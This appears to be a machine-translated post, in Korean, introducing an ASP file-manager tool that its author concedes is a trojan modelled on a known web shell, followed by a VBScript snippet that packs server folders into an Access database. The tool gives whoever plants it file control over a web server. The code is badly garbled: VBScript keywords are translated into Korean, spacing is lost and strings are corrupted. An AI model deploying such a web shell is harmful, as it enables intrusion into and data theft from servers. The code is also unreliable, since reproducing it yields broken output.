이것은 FSO 컬렉션 개체를 사용하여 작성된 FSO 파일 브라우저입니다(트로이 목마라고 주장한다면 이의가 없습니다). 기능적으로는 "Top Trojan of the Ocean"의 디자인을 모방하지만 코드는 완전히 재작성되었습니다. . 바이러스 백신 소프트웨어에 의해 우발적으로 종료될 수 있는 Shell.Application과 같은 구성 요소를 사용합니다. 인터넷에는 유사한 도구가 많이 있습니다. 이 도구의 사용 가치는 그다지 크지 않지만, 그 안에 있는 코드 중 상당수는 잘 작성된 것으로 간주됩니다.
주요 기능은 다음과 같습니다:
디스크 정보를 보고, 디스크 파일을 찾아보고, 생성, 삭제, 이름 바꾸기, 복사, 이동 및 기타 기본 파일 편집 작업과 같이 Windows 탐색기와 유사한 방식으로 작동합니다. 스트림 모드 파일 다운로드는 구성 요소가 없는 업로드 파일 패키징/압축 해제를 단순화하고 최적화합니다. 폴더를 완전히 패키징/압축 해제할 수 있습니다.
코드 조각:
1. 파일 포장/해제 부분
============================ 파일 패키징 및 언패킹 과정 ================== ============
파일 패키징
하위팩(ByValFPath,ByValsDbPath)
Server.ScriptTimeOut=900
희미한DbPath
오른쪽(sDbPath,4)=".mdb"인 경우그 다음에
DbPath=sDbPath
또 다른
DbPath=sDbPath".mdb"
끝만약에
oFso.FolderExists(DbPath)인경우
EchoBack"데이터베이스 파일을 생성할 수 없습니다!"&Replace(DbPath,"","\")
출구보결
끝만약에
oFso.FileExists(DbPath)인경우
oFso.DeleteFile DbPath
끝만약에
IsFolder(FPath)인경우
RootPath=GetParentFolder(FPath)
IfRight(RootPath,1)<>"" Then RootPath=RootPath&""
또 다른
에코백"폴더 경로를 입력해주세요!"
출구보결
끝만약에
DimoCatalog,connStr,DataName
conn=Server.CreateObject("ADODB.Connection")설정
oStream=Server.CreateObject("ADODB.Stream")설정
oCatalog=Server.CreateObject("ADOX.Catalog")설정
rs=Server.CreateObject("ADODB.RecordSet")설정
~에오류재개하다다음
connStr ="공급자=Microsoft.Jet.OLEDB.4.0; 데이터 소스="& DbPath
oCatalog.connStr 생성
오류가발생한경우
EchoBack"데이터베이스 파일을 생성할 수 없습니다!"&Replace(DbPath,"","\")
출구보결
끝만약에
oCatalog=없음으로설정
conn.open connStr
conn.Execute("테이블 파일 만들기(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)")